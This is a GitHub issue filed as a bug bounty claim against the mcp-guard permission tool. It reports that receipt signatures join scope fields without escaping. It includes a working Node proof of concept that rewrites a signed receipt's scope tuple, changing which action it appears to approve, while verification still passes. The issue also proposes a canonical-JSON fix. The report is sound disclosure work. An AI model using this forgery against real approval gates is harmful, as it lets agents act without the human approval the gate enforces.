Skip to content

Bounty #36: non-injective scope signing bytes allow receipt scope tuple rewrite #64

Description

@alan-provable

This is a claim for #36.

I found a scope-binding flaw in the Ed25519 receipt flow in permission-protocol/mcp-guard.

Summary

buildSigningBytes() signs scope fields by concatenating unescaped strings:

<receipt_id>.<request_payload_hash>.scope=<scope>.scope_ref=<scope_ref>.scope_sha=<scope_sha>

Because scope, scope_ref, and scope_sha are not length-prefixed, escaped, or encoded as a canonical structured object, the signing input is not injective. A receipt signed for one scope tuple can be rewritten into a different scope tuple while preserving the exact Ed25519 signing bytes, so verification still passes.

This is a signature-binding issue, not a GitHub status spoof, social engineering, or infrastructure attack.

Reproduction

I reproduced this locally against permission-protocol/mcp-guard at commit 54a8628 after:

npm ci --ignore-scripts --no-audit --no-fund
npm run build

Run:

node --input-type=module <<'NODE'
import { createReceipt, signReceipt } from './dist/src/receipt.js';
import { verifyReceiptOffline } from './dist/src/receipt-verify.js';
import { getPublicKeyPem } from './dist/src/signer.js';

const decision = {
  decision: 'held_for_approval',
  rule_id: 'merge-pr',
  reason: 'test',
  lane: 'decide',
  reversibility: 'reversible',
};

const signedAs = {
  scope: 'github:merge',
  scope_ref: 'refs/pull/32/merge.scope_sha=deadbeef',
  scope_sha: 'trail',
};

const tampered = {
  scope: 'github:merge',
  scope_ref: 'refs/pull/32/merge',
  scope_sha: 'deadbeef.scope_sha=trail',
};

const receipt = createReceipt(
  'agent',
  'merge_pr',
  decision,
  { pr_number: 32, scope_ref: signedAs.scope_ref, scope_sha: signedAs.scope_sha },
  'infra-mcp',
  'enforce',
  signedAs,
);

signReceipt(receipt, 'human');

const before = verifyReceiptOffline(receipt, getPublicKeyPem(), signedAs);

receipt.scope = tampered.scope;
receipt.scope_ref = tampered.scope_ref;
receipt.scope_sha = tampered.scope_sha;

const afterFull = verifyReceiptOffline(receipt, getPublicKeyPem(), tampered);
const afterPartial = verifyReceiptOffline(receipt, getPublicKeyPem(), {
  scope: tampered.scope,
  scope_ref: tampered.scope_ref,
});

console.log(JSON.stringify({ signedAs, tampered, before, afterFull, afterPartial }, null, 2));
NODE

Observed:

{
  "signedAs": {
    "scope": "github:merge",
    "scope_ref": "refs/pull/32/merge.scope_sha=deadbeef",
    "scope_sha": "trail"
  },
  "tampered": {
    "scope": "github:merge",
    "scope_ref": "refs/pull/32/merge",
    "scope_sha": "deadbeef.scope_sha=trail"
  },
  "before": {
    "valid": true,
    "reasons": []
  },
  "afterFull": {
    "valid": true,
    "reasons": []
  },
  "afterPartial": {
    "valid": true,
    "reasons": []
  }
}

The same signature verifies before and after rewriting the scope tuple.

Impact

The exact GitHub headSha case is harder if the verifier always requires a strict hex SHA, but the verifier surface allows optional expected fields, and the local scope derivation accepts caller-controlled scope_ref / scope_sha strings for code and infra tools. Any gate that checks only scope and scope_ref, or that accepts non-hex scope IDs for non-GitHub actions, can accept a receipt for a different action than the one that was signed.

Suggested fix

Sign a canonical structured object instead of a delimiter-joined string, for example stable JSON over:

{
  "receipt_id": "...",
  "request_payload_hash": "...",
  "scope": "...",
  "scope_ref": "...",
  "scope_sha": "..."
}

Also validate scope grammar before signing and verifying. For GitHub receipts, scope_sha should be a strict commit SHA and scope_ref should match the expected ref pattern.

I can open a PR with a regression test and the canonical signing change if you want it.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions